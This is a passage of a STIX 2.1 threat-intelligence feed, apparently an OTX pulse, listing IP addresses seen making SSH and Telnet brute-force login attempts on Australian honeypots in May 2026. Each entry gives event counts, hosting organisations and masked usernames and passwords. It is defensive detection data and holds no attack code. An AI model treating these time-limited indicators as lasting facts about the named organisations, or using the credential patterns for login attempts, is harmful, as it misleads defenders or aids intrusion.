      "id": "indicator--12f4ec21-5395-4924-a103-620b28e1bbca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T04:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.60.61.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:15:57.000Z",
      "valid_until": "2026-06-30T04:15:04.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37611. Organisation(s): AFRIHOST-SP.",
      "id": "indicator--e4351e3f-f1a9-41ae-b53d-c076935e0f80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.182.248.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--a9a6b920-36c9-4f66-8990-8c3bb10c9269",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--004562f3-3435-4d02-9220-c40e55934492",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dc1d3137-985a-4255-a1f1-71ef4a49ad71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.235.143.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ff901c09-7374-452c-80af-e554ae9019dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--0203fac9-3000-43d5-bd7b-b71259383b0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.76.2.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7562. Organisation(s): HCN Dongjak.",
      "id": "indicator--925bddc6-cb86-47f1-ac8c-e8baf6ab8107",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.142.74.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T05:17:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4, a***n, t****l, u****u. Passwords observed (masked): 1**********c, 1*********#, 3**********4, P*********3, P*******5.",
      "id": "indicator--512a2090-26cf-4238-b851-d7393c5dae43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T05:17:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.241.210.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:17:16.000Z",
      "valid_until": "2026-06-30T05:15:03.000Z"
    },
    {
      "created": "2026-05-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): L*******3.",
      "id": "indicator--6328472e-ab80-436e-bc69-9b86aa026b21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.39.234.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:15:11.000Z",
      "valid_until": "2026-06-30T06:15:08.000Z"
    },
    {
      "created": "2026-05-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc.. Usernames observed (masked): p****r. Passwords observed (masked): 1**4.",
      "id": "indicator--c632a7f0-b796-4f53-824d-69cc0a8c876c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.161.39.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:15:11.000Z",
      "valid_until": "2026-06-30T06:15:08.000Z"
    },
    {
      "created": "2026-05-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--07dadcc2-f0fe-4b76-8641-7c26dfc3fd27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:15:11.000Z",
      "valid_until": "2026-06-30T06:15:08.000Z"
    },
    {
      "created": "2026-05-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--72fa5424-aca8-461c-b68a-8dce8ae0e1b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.81.228.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:15:11.000Z",
      "valid_until": "2026-06-30T06:15:08.000Z"
    },
    {
      "created": "2026-05-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1*******@.",
      "id": "indicator--e043a0f5-1896-4c53-b29b-c6e7156ba952",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.56.196.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:15:11.000Z",
      "valid_until": "2026-06-30T06:15:08.000Z"
    },
    {
      "created": "2026-05-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, a***n, e***********h, d********n. Passwords observed (masked): 3***********4, 3**********4, !**********c, *, 1****6.",
      "id": "indicator--274979bf-492e-4f56-82ee-e2c1496e7712",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.201.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:15:11.000Z",
      "valid_until": "2026-06-30T06:15:08.000Z"
    },
    {
      "created": "2026-05-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--7a20749d-63bb-4cf3-9073-53ac145189ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.93.81.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:15:11.000Z",
      "valid_until": "2026-06-30T06:15:08.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 147287. Organisation(s): DATAPARADISE. Usernames observed (masked): r**t, 3**********4, a***n, d****n, i**o. Passwords observed (masked): 3***********4, 3**********4, 1**4, A******4, A******6.",
      "id": "indicator--d8b3a76c-4a77-4034-90e0-a1791721df4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.174.131.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3c8098f0-6867-447c-b275-331c99224dee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.216.150.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--6daf0b1f-5c7e-480e-8c94-9b46f0edd346",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.224.68.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--ba87c701-78f5-4a50-94dd-0b5e5a6e0f60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 15704. Organisation(s): Xtra Telecom S.A.. Usernames observed (masked): r**t, a***n, 3**********4, a**t, d******r. Passwords observed (masked): ***, 1**4, 1****6, 1*********y, 3***********4.",
      "id": "indicator--4ad123b4-a8e5-45b8-916a-ba79e1f05d63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.127.174.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NP. ASN(s): 23752. Organisation(s): Nepal Telecommunications Corporation, Internet Services. Usernames observed (masked): r**t, 3**********4, a***n, ***, e****e. Passwords observed (masked): 3***********4, 3**********4, H********$, H******6, P******d.",
      "id": "indicator--977e547b-641c-4a6b-a762-69d48f9c012b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.70.78.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, a***n, a******a, ***. Passwords observed (masked): 3***********4, 3**********4, 1******1, 1*******!, 1**********f.",
      "id": "indicator--b1853fa0-49bf-4b43-9f9a-19aaef62cb3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.101.216.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--0fa35cb9-4dd4-40e8-812f-462394bfcb05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.74.1.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33363. Organisation(s): Charter Communications, Inc. Usernames observed (masked): r**t, f**2, 3**********4, a***n, b****a. Passwords observed (masked): p******d, 1******Z, 1**********c, 3***********4, 3**********4.",
      "id": "indicator--19f5ac80-6c0f-464d-b2eb-5a9f906c4a8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.17.34.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:15:05.000Z",
      "valid_until": "2026-06-30T07:15:03.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17995. Organisation(s): PT iForte Global Internet. Usernames observed (masked): r**t, s******n, 3**********4, a***n, a***t. Passwords observed (masked): ***, 3***********4, 3**********4, @********4, F*******@.",
      "id": "indicator--c4533973-18a4-452f-81bc-8b4d170c18ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.165.206.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 54994. Organisation(s): Meteverse Limited.. Usernames observed (masked): r**t, s****r, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, 5*******0, 5******B, A********.",
      "id": "indicator--5c60d38f-112c-4ea1-9546-6641233b825b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.111.52.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--711f57bd-1387-412e-8d82-418704fc2843",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.192.145.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): r**t, 3**********4, a***n, h**o. Passwords observed (masked): !******2, 3**********4, P*********9, T*********!, a****3.",
      "id": "indicator--cb73532f-1614-434d-b933-ecf59c0c2075",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.36.84.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--b2c2508b-ba70-439d-8076-ebe21fd240e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.163.32.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network.",
      "id": "indicator--9922489e-42ea-4aaf-90f4-affab8eb7321",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.226.232.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******3, H**********************3.",
      "id": "indicator--c050df95-1510-4307-a3e7-e9a1eb353bef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.11.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--2d712b2e-55d0-4e2d-84b7-e0a87a7241f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.93.99.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 57269. Organisation(s): Digi Spain Telecom S.A. Usernames observed (masked): r**t, 3**********4, *, a***n, h**o. Passwords observed (masked): !******2, 1****6, 1******W, 3***********4, 3**********4.",
      "id": "indicator--89fca4c7-722d-440b-bad9-159e59439d7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.116.7.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n, r**t, s***m, 3**********4, f*******c. Passwords observed (masked): 0******1, 1****3, 1***5, 1******8, 1*****a.",
      "id": "indicator--72ba85fa-5ce8-4132-a19f-f8d4199f8b67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.247.181.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
